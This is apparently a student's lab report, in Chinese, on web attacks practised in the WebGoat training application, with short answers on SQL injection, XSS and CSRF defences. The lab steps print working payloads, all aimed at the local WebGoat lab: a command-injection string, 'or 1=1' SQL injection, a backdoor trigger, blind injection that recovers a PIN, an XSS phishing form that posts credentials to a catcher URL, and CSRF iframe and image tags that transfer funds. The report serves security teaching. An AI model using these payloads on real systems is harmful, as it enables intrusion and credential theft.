Exp9 Web安全基础 20164302 王一帆

1 基础问题回答

1.SQL注入攻击原理,如何防御?

原理:

       通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。SQL注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行SQL语句以及进行其他方式的攻击,没有对用户输入的数据进行过滤消毒是攻击成功的主要原因。

防御:

(1)对漏洞注入点相关代码进行代码及SQL注入关键字的过滤,以规范代码安全性;

(2)不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接;

(3)应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。

2.XSS攻击的原理,如何防御?

原理:

  XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

防御:

(1)统XSS防御多采用特征匹配方式,在所有提交的信息中都进行匹配检查。对于这种类型的XSS攻击,采用的模式匹配方法一般会需要对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击;

(2)检查用户输入的内容中是否有非法内容,如尖括号、引号等,严格控制输出。

3.CSRF攻击原理,如何防御?

原理:

  CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

防御:

(1)对于web站点,将持久化的授权方法(例如cookie或者HTTP授权)切换为瞬时的授权方法(在每个form中提供隐藏field),这将帮助网站防止这些攻击。一种类似的方式是在form中包含秘密信息、用户指定的代号作为cookie之外的验证;

(2)改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。

2 实践过程记录

2.1 webgoat下载

下载地址:https://github.com/WebGoat/WebGoat/releases/tag/7.0.1

下载完成后,将文件放到主目录下。

打开终端,输入 java -jar webgoat-container-7.0.1-war-exec.jar 

在浏览器中打开 http://localhost:8080/WebGoat ,输入默认的用户名和密码进行登录

2.2 SQL注入攻击(Injection Flaws)

2.2.1命令注入(Command Injection)

选择 Injection Flaws -> Command Injection

右键页面中复选框,选择inspect Element审查网页元素对源代码进行修改,在末尾添加"& netstat -an & ipconfig"

点击 view,看到网络端口使用情况和 IP 地址,攻击成功

2.2.2 数字型SQL注入(Numeric SQL Injection)

选择 Injection Flaws -> Numeric SQL Injection

右键页面中复选框,选择inspect Element审查网页元素对源代码value="101"进行修改,在城市编号101后面添加or 1=1

点击 Go,可以看到攻击成功

2.2.3 日志欺骗(Log Spoofing)

选择 Injection Flaws -> Log Spoofing

在User Name中输入dgx%0d%0aLogin Succeeded for username: admin利用0D%(回车)和%0A(换行)让其在日志中显示两行

输入任意密码后点击 Login,成功将用户名追加到日志文件中。

 

2.2.4字符串注入(String SQL Injection)

选择 Injection Flaws -> String SQL Injection,右键页面将password密码框,选择inspect Element审查网页元素对源代码进行修改,将其最大长度限制改为20

以用户Neville登录,输入密码Smith' or '1' = '1

攻击成功,得到所有人员列表

2.2.5 数据库后门(Database Backdoors)

选择 Injection Flaws -> Database Backdoors

输入101,得到该用户的信息

输入注入语句101; update employee set salary=10000

输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid设置触发器

2.2.6 盲数字SQL注入(Blind Numeric SQL Injection)

服务端页面返回的信息有两种:帐号有效,账号无效,因此无法简单地查询到帐号的 PIN 数值。但可以利用系统后台在用的查询语句SELECT * FROM user_data WHERE userid=accountNumber;如果返回了帐号的信息,页面将提示帐号有效,否则提示无效。

输入101 AND 1=1 页面返回帐号有效

输入101 AND 1=2 第二个条件不成立,页面返回帐号无效

输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );页面返回帐号无效,说明PIN<=10000

不断调整数值,可以缩小判断范围,并最终判断出PIN 数值的大小。最终如下语句返回帐号有效:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );

2.3XXS攻击

2.3.1跨站脚本钓鱼攻击(Phishing with XSS)

使用XSS和HTML插入制作一个钓鱼网站,将其输入在search框中,代码如下:

</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br><br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR

输入后下拉网页,会有用户名和密码的框出现,随意输入用户名和密码

2.3.2 存储型XSS攻击(Stored XSS Attacks)

在title中任意输入字符,留言板中输入<script>alert("I am 20164302. You've been attacked!!!");</script>

2.3.3 反射型XSS攻击(Reflected XSS Attacks)

在Enter your three digit access code:中输入<script>alert("I am 20164302");</script>点击Purchase,成功显示警告框,内容为我们script脚本指定的内容。

2.4CSRF攻击

2.4.1绕过 CSRF 确认( CSRF Prompt By‐Pass)

查看页面右侧Parameters中的src和menu值分别为274和900

查看页面右侧Parameters中的src和menu值,分别为2078372和900

在title中输入任何参数,message框中输入

<iframe src="attack?Screen=274&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=274&menu=900&transferFunds=CONFIRM"> </iframe>

以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的(宽高设置成1像素的目的是隐藏该图片),用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交

在Message List中生成以Title命名的消息。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。可以从左侧的任务栏看到任务已完成

2.4.2 跨站请求伪造(Cross Site Request Forgery (CSRF))

查看Parameters中的src和menu值,分别为312和900

在title中输入任何参数,message框中输入

<img src="http://localhost:8080/WebGoat/attack?Screen=312&menu=900&transferFunds=5000" width="1" height="1" />

点击 Submit (其中语句中的&transferFunds=5000,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)

3 实验感悟

       这是课程的最后一次实验,实验内容并不算太复杂,在webgoat上完成,还会有指导,通过实际操作,对SQL、XSS、CSRF有了进一步的了解。自己在实际动手操作方面一直比较薄弱,可以说这门课程对自己来说是一次磨炼,收获了不少。

posted @ 2019-05-26 18:25  王一帆  阅读(155)  评论(0编辑  收藏  举报